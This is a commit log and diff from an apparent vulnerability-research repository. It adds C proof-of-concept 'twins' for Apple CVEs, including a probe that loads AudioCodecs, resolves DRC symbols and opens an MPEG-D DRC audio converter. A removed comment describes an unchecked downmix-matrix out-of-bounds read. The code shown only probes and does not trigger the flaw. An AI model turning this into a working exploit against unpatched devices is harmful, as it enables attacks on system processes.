v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-113912/CVE-2026-113912.c

@@ -0,0 +1,52 @@
+// aud.drc · AudioToolbox / AudioCodecs · UniDrcSelection · CVE-2026-113912
+// DRC decoder path probe
+// C twin of the Swift POC: dlopens AudioCodecs, dlsyms the DRC symbols, then drives
+// AudioConverterNew with the DRC format id.
+// Build: clang -O2 -o cve-2026-113912 CVE-2026-113912.c -framework AudioToolbox -framework CoreFoundation
+// Run:   ./cve-2026-113912
+
+#include <stdio.h>
+#include <dlfcn.h>
+#include <AudioToolbox/AudioToolbox.h>
+
+static void audio_converter(uint32_t format, double rate, uint32_t channels) {
+    AudioStreamBasicDescription in = {0};
+    in.mSampleRate = rate;
+    in.mFormatID = format;
+    in.mFramesPerPacket = 1;
+    in.mChannelsPerFrame = channels;
+    AudioStreamBasicDescription out = {0};
+    out.mSampleRate = rate;
+    out.mFormatID = kAudioFormatLinearPCM;
+    out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked;
+    out.mBytesPerPacket = 4;
+    out.mFramesPerPacket = 1;
+    out.mBytesPerFrame = 4;
+    out.mChannelsPerFrame = 1;
+    out.mBitsPerChannel = 32;
+    AudioConverterRef c = NULL;
+    OSStatus st = AudioConverterNew(&in, &out, &c);
+    if (c) AudioConverterDispose(c);
+    char four[5] = {0};
+    for (int i = 0; i < 4; i++) {
+        uint8_t b = (uint8_t)(format >> (24 - 8 * i));
+        four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?';
+    }
+    printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st);
+}
+
+int main(void) {
+    void *h = dlopen("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", RTLD_NOW);
+    if (h) {
+        printf("ok AudioCodecs loaded\n");
+        const char *syms[] = {"UniDrcSelection", "mpddrc", "selectDownmixMatrix", "getSignalPeakLevel"};
+        for (size_t i = 0; i < 4; i++) {
+            printf("  %s: %s\n", syms[i], dlsym(h, syms[i]) ? "resolved" : "missing (stripped or hidden)");
+        }
+    } else {
+        printf("x AudioCodecs cannot be dlopened\n");
+    }
+    audio_converter(0x64726331, 48000, 6);   // 'drc1' 48 kHz 6 ch
+    printf("CVE-2026-113912 · DRC path probed\n");
+    return 0;
+}

CVE-2026-113912/CVE-2026-113912.swift

@@ -1,22 +1,8 @@
 // aud.drc · AudioCodecs · mpddrc::UniDrcSelection · CVE-2026-113912 / 86972
-// 原语: OOB 读 · 系统进程 · tier 2
-// Primitive: OOB read · system process · tier 2
-//
-// [zh] MPEG-D DRC 下混矩阵系数校验
-// selectDownmixMatrix 在 27.0 仅有零值与相等性检查；矩阵维度直接取自 DRC 元数据，不与系数数组的实际长度比较。27.2 补入三道闸门：nChannels ≤ 8、维度有序、系数数
-// == 行×列，并为 getSignalPeakLevel 与 Process 增加计数校验。
-//
-// [en] MPEG-D DRC downmix matrix coefficient validation
-// On 27.0 selectDownmixMatrix has only zero and equality checks; the matrix dimensions come straight
-// from DRC metadata and are never compared against the coefficient array's real length. iOS 27.2
-// adds three gates — nChannels ≤ 8, ordered dimensions, coefficient count == rows×cols — plus count
-// checks in getSignalPeakLevel and Process.
-// ── 判别 / oracle ──
-// 需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。
-
+// MPEG-D DRC downmix matrix coefficient validation
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
 }
 
 
-